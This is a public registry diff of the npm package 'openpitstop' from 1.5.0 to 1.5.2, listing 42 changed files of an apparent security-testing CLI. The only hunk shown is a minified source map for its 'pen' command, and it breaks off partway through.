openpitstop 1.5.0 → 1.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (42) hide show
  1. package/README.md +27 -0
  2. package/demo/web-app-broken/.pitstop/cache/jest/haste-map-09bbba084113da9182b28b169fd19719-a1b56e2f04426a89a1864d67162ba1a1-48d4752caf3bc581fc945eb44175e230 +0 -0
  3. package/demo/web-app-broken/.pitstop/cache/jest/jest-transform-cache-09bbba084113da9182b28b169fd19719-79ef2876fae7ca75eedb2aa53dc48338/5e/config_5ea59c6b3000eadfbaecbc2e78a03802 +113 -0
  4. package/demo/web-app-broken/.pitstop/cache/jest/jest-transform-cache-09bbba084113da9182b28b169fd19719-79ef2876fae7ca75eedb2aa53dc48338/5e/config_5ea59c6b3000eadfbaecbc2e78a03802.map +1 -0
  5. package/demo/web-app-broken/.pitstop/cache/jest/perf-cache-09bbba084113da9182b28b169fd19719-da39a3ee5e6b4b0d3255bfef95601890 +1 -1
  6. package/demo/web-app-broken/.pitstop/pen/run-2026-08-18T06-12-11-576Z/app.out.log +22 -0
  7. package/demo/web-app-broken/.pitstop/pen-2026-08-18T06-12-11-787Z.json +162 -0
  8. package/demo/web-app-broken/.pitstop/pen-latest.json +162 -0
  9. package/demo/web-app-broken/.pitstop/verify-2026-08-18T06-11-59-327Z.json +73 -0
  10. package/demo/web-app-broken/PITSTOP_BADGE.svg +12 -0
  11. package/dist/commands/pen.js +29 -1
  12. package/dist/commands/pen.js.map +1 -1
  13. package/dist/commands/report.js +17 -1
  14. package/dist/commands/report.js.map +1 -1
  15. package/dist/commands/verify.d.ts +3 -0
  16. package/dist/commands/verify.js +53 -21
  17. package/dist/commands/verify.js.map +1 -1
  18. package/dist/pen/drift.d.ts +16 -0
  19. package/dist/pen/drift.js +69 -0
  20. package/dist/pen/drift.js.map +1 -0
  21. package/dist/pen/dynamic.js +130 -3
  22. package/dist/pen/dynamic.js.map +1 -1
  23. package/dist/pen/proof.js +6 -0
  24. package/dist/pen/proof.js.map +1 -1
  25. package/dist/pen/report.js +90 -2
  26. package/dist/pen/report.js.map +1 -1
  27. package/dist/pen/static.js +120 -0
  28. package/dist/pen/static.js.map +1 -1
  29. package/dist/pen/types.d.ts +32 -0
  30. package/dist/pen/types.js.map +1 -1
  31. package/dist/report/format.d.ts +16 -0
  32. package/dist/report/format.js +62 -9
  33. package/dist/report/format.js.map +1 -1
  34. package/dist/report/sarif.d.ts +29 -0
  35. package/dist/report/sarif.js +161 -0
  36. package/dist/report/sarif.js.map +1 -0
  37. package/dist/repro/pen.js +19 -0
  38. package/dist/repro/pen.js.map +1 -1
  39. package/dist/verify/honesty.d.ts +21 -0
  40. package/dist/verify/honesty.js +40 -0
  41. package/dist/verify/honesty.js.map +1 -0
  42. package/package.json +1 -1
@@ -1 +1 @@
1
- {"version":3,"file":"pen.js","sourceRoot":"","sources":["../../src/commands/pen.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"pen.js","sourceRoot":"","sources":["../../src/commands/pen.ts"],"names":[],"mappings":"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